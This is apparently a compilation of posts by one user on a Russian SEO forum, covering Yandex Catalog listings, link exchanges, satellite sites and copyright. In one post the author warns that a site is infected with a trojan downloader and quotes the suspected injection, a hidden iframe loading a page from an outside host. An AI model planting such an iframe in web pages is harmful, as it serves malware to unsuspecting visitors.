AStr.,
Ну, линкатор это галимый.
Раскопать нетрудно - посмотрите проиндексированные страницы этого сайта, сразу увидите линкаторные. А с них уже по ссылкам пройдите, придёте куда надо...
В дополнение к теме:
Вопрос:
=============
Но меня в этой вакансии озадачил один вопрос...
Конкретно "Анализ логов кликов и показов, сбор новой статистики, проведение экспериментов на части аудитории, usability-исследования."
AVA, неужели Яндекс отдает часть "боевых" запросов для тестов менеджеров?
Не думаю, что это правильно....
Ответ:
А что Вас смущает? Эксперименты по улучшению качества поиска ведутся постоянно.
...(маниакально гнёт свою линию)... :)
stryker,
Вот эту ветку не смотрели? Там много полезного.
Мой антивир показывает, что сайт, на который вы приглашаете, заражен трояном Trojan-Downloader.JS.Agent.et
Вот через эту дырку, похоже, он и лезет:
<iframe src="http://dnbass.org/index.php" style="visibility: hidden; display: none"></iframe>
Всё это не есть гут.
Сайт ТС рекомендую - старый, известный и заслуженный:)
С удовольствием поменялся. Для желающих могу предложить свой в этом жанре:
ТИЦ 100, pr3, ЯК Развлечения.
К обмену есть места на внутренних страницах в 1 клике от главной, pr от 0 до 3.
Если рассматривать вопрос о влиянии на ранжирование с общетеоретических позиций, то здесь, наверное, достаточно ответа Садовского №34 - "Ссылки из Яндекс.Каталога учитываются как ссылки авторитетного сайта."
В то же время, множество свидетельств, полученных "на собственной шкуре", говорят о том, что ссылка из ЯК на ранжирование если и влияет, то такое влияние не слишком-то заметно.
ТС, насколько я понимаю, интересовали весьма практические аспекты:
С этой точки зрения, я не рекомендовал бы сильно рассчитывать на серьёзный эффект.
Dinapoli,
Трафик из ЯК очень сильно зависит от тематики.
Есть тематики, где с первого листа приходят по 3-4 человека в сутки, а есть - где по 1500-2000. И, естественно, трафик зависит от места сайта (а сайты в ЯК ранжируются по величине ТИЦ). Тут тоже надо рассчитывать свои силы - сможете ли в будущем обеспечить себе ТИЦ, достаточный для выхода на хорошие позиции.
На ранжирование в поиске - не повлияет.
Сайтик, конечно, чумовой:)
macrus,
Ваш сайт уж очень смахивает на самого низкого пошиба сателлит.
Возможно, что именно поэтому его и не приняли в ЯК. Письмо, конечно, стандатное, но сайты-претенденты просматривает человек - модератор каталога. Я не исключаю, что модератор даже не смотрел ни на какой код, а просто как глянул на главную страницу - так его и вырвало. Не исключаю, что модератор сразу же позвонил приятелю Платону с просьбой, чтобы тот немедленно прихлопнул очередной сат, да ещё имеющий наглость проситься в ЯК:)
Дело могло бы со скрипом прокатить, если бы этот сайт предоставлял какие-то необыкновенные, уникальные услуги. Тогда - хрен с ним, с дизайном, мог бы вывезти контент. Но услуги - совершенно рядовые, сайт из разряда "один из сотен".
Что делать.
Во-первых, бэклинки никуда не пропадут (те, что останутся после того как партнеры по обмену снимут свои).
Во-вторых, подождите пару апов.
Если сайт появится в серпе - сидите тихо, не подпрыгивайте, а срочно закажите хороший, солидный дизайн. Наймите копирайтеров и наполните сайт добротным и уникальным контентом. Сделайте что-то похожее на действительно солидный проект и только после этого снова проситесь в ЯК.
Если сайт в серпе не появится - пишите Платону. Когда получите известного содержания письмо - делайте то, что написано в предыдущем абзаце и после этого добивайтесь восстановления сайта в индексе. Если Вам будет сопутствовать успех - дальше можно проситься и в ЯК.
Noga,
В Вашем изложении это выглядит пока совсем неубедительно, ИМХО.
Конечно, сайт нужен. Ведь далеко не вся информация в мире столь узкосправочного характера. И сейчас в каждом доме есть телефонный справочник, но это не отменяет разнообразных человеческих интересов. Ну, будет справочник на десктопе вместо того, чтобы стоять на книжной полке. Но если человек захочет подробнее ознакомиться с условиями проживания на курорте, посмотреть, как выглядит шкаф, почитать рецензию на спектакль или просто развлечься - он будет искать сайт с оригинальной информацией. Билеты или пицца - чёрт с ними, я и сейчас, например, их заказываю по справочнику "вслепую". Но если речь о том, чтобы купить машину, то тут уж мне захочется проявить куда больше любопытства.
Вот тут уже чёрта с два.
Сам факт передачи чужих материалов по электронным сетям - уже считается нарушением авторского права. С правовой точки зрения нет разницы - выложена ли информация на сайте поисковой системы или она прислана Вам по почте или иным способом. При этом, информация попадает на стол к потребителю не из ниоткуда; её присылает конкретно некий Гугл. Он-то и будет отвечать, если не уложится в нормы допустимого цитирования.
Disell,
Хм.
Да я с кем тока не общаюсь:)
